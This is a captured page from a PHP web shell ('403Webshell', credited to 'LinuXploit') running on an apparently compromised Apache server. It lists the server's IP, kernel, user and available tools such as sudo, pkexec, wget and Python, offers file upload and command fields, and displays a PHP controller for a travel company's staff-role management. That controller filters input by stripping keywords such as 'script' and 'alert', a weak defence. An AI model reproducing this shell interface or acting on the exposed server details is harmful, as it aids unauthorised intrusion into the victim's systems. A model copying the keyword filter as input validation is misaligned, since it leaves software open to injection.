403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/modules/staff-management/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/modules/staff-management/controllers/RolesController.php
<?php

/*
 * Catabatic Technology Pvt. Ltd.
 * File Name :RolesController.php
 * File Description :Roles controller managed CRUD of roles
 * Created By : Pooja Choudhary
 * Created Date: 28-June-2016
 */

class StaffManagement_RolesController extends Catabatic_ValidateGtx {

    public function init() {
        parent::init();
        $aConfig = $this->getInvokeArg('bootstrap')->getOptions();
//        $this->siteUrl = $aConfig['bootstrap']['siteUrl'];

        $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');

        //set layout
//        $this->_helper->layout->setLayout('layout-signup');
        //$this->_helper->layout->disableLayout();
    }

    public function indexAction() {
        $objRole = new Travel_Model_TblAgencyUserRole();
        $roleListArray = $objRole->getRoleList(NULL, 1);
        $this->view->roleList = $roleListArray;

        $page = $this->_getParam('page', 1);
        $paginator = Zend_Paginator::factory($roleListArray);
        $paginator->setItemCountPerPage(GRID_PER_PAGE_RECORD_COUNT);
        $paginator->setCurrentPageNumber($page);

        $this->view->paginator = $paginator;
        $this->view->messages = $this->_helper->flashMessenger->getMessages();
    }

    public function addRoleAction() {
        if ($this->getRequest()->isPost()) {
            $getData = $this->getRequest()->getPost();
            $objRole = new Travel_Model_TblAgencyUserRole();
            if (!$objRole->isAgencyRoleExists(trim($getData['rolename']))) {
//                $date = new Zend_Date();
                $currentDate = date('Y-m-d H:i:s');
                $IsAbleToManageMember = 0;
                $isSuperAdmin = 0;
                if (isset($getData['isManager'])) {
                    if ($getData['isManager'] == 1) {
                        $isSuperAdmin = 1;
                    } else if ($getData['isManager'] == 2) {
                        $IsAbleToManageMember = 1;
                    }
                }
                $IsAbleToManageTask = 0;
                if (isset($getData['isManagerCustomer'])) {
                    $IsAbleToManageTask = 1;
                }
                $dataToAddUserrole = array(
                    'AgencySysId' => @$_SESSION['sessionLogin_user']['intLoggedinUserAgencySysId'], // agency id(CURRENT_AGENCY_SYS_ID) static for now
                    'Band' => 0,
                    'RoleTitle' => $this->sanitize_data($getData['rolename']),
                    'RoleDesc' => $this->sanitize_data($getData['roledesc']),
                    'ModuleMask' => 0,
                    'IsAdmin' => 0,
                    'IsAbleToManageMember' => $IsAbleToManageMember,
                    'IsSuperAdmin' => $isSuperAdmin,
                    'IsAbleToManageTask' => $IsAbleToManageTask,
                    'IsMarkForDel' => 0,
                    'IsActive' => $getData['status'],
                );
                //Insert agency's user role
                $$objRoleRes = $objRole->addAgencyUserRole($dataToAddUserrole);
                $this->_helper->flashMessenger->addMessage("Role added successfully.");
                $this->_redirect("/staff-management/roles");
            } else {
                $this->view->message = ("Role Already exists.");
            }
        }
    }

    public function editRoleAction() {
        $RoleSysId = base64_decode($this->getRequest()->getParam('id'));
        $objRole = new Travel_Model_TblAgencyUserRole();
        $result = $objRole->getDataByRole($RoleSysId);
        $this->view->userRoleData = $result;

        if ($this->getRequest()->isPost()) {
            $getData = $this->getRequest()->getPost();
            $RoleSysId = base64_decode($getData['roleId']);
            $objRole = new Travel_Model_TblAgencyUserRole();
//             print_r($objRole->isAgencyRoleExists(trim($getData['rolename']),$RoleSysId)); die;
            if (!$objRole->isAgencyRoleExists(trim($getData['rolename']), $RoleSysId)) {
                $IsAbleToManageMember = 0;
                $isSuperAdmin = 0;
                if (isset($getData['isManager'])) {
                    if ($getData['isManager'] == 1) {
                        $isSuperAdmin = 1;
                    } else if ($getData['isManager'] == 2) {
                        $IsAbleToManageMember = 1;
                    }
                }
                $IsAbleToManageTask = 0;
                if (isset($getData['isManagerCustomer'])) {
                    $IsAbleToManageTask = 1;
                }
                $datatoAddUserRole = array(
                    'RoleTitle' => $this->sanitize_data($getData['rolename']),
                    'RoleDesc' => $this->sanitize_data($getData['roledesc']),
                    'IsActive' => $getData['status'],
                    'IsAbleToManageMember' => $IsAbleToManageMember,
                    'isSuperAdmin' => $isSuperAdmin,
                    'IsAbleToManageTask' => $IsAbleToManageTask,
                );
                //update agency's user role
                $objRoleRes = $objRole->updateAgencyUserRoleData($datatoAddUserRole, $RoleSysId);
                $this->_helper->flashMessenger->addMessage("Role updated successfully.");
                $this->_redirect("/staff-management/roles");
            } else {
                $this->view->message = ("Role Already exists.");
//            $this->_redirect("/roles/edit-role");
            }
        }
    }

    public function roleExistsAction() {
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);

        $roleTitle = $this->getRequest()->getParam('rolename');
        $roleId = base64_decode($this->getRequest()->getParam('roleId'));

        $objRole = new Travel_Model_TblAgencyUserRole();
        if ($objRole->isAgencyRoleExists(trim($roleTitle), $roleId)) {
            // echo true;
            echo json_encode(false);
        } else {
            echo json_encode(true);
        }
        exit;
    }

    public function sanitize_data($input_data) {
        $searchArr = array("document", "write", "alert", "%", "$", ";", "+", "|", "#", "<", ">", ")", "(", "'", "\'", ",", "AND", "JAVASCRIPT");
        $input_data = str_replace("script", "", $input_data);
        $input_data = str_replace("iframe", "", $input_data);
        $input_data = str_replace($searchArr, "", $input_data);

        return htmlentities(stripslashes($input_data), ENT_QUOTES);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit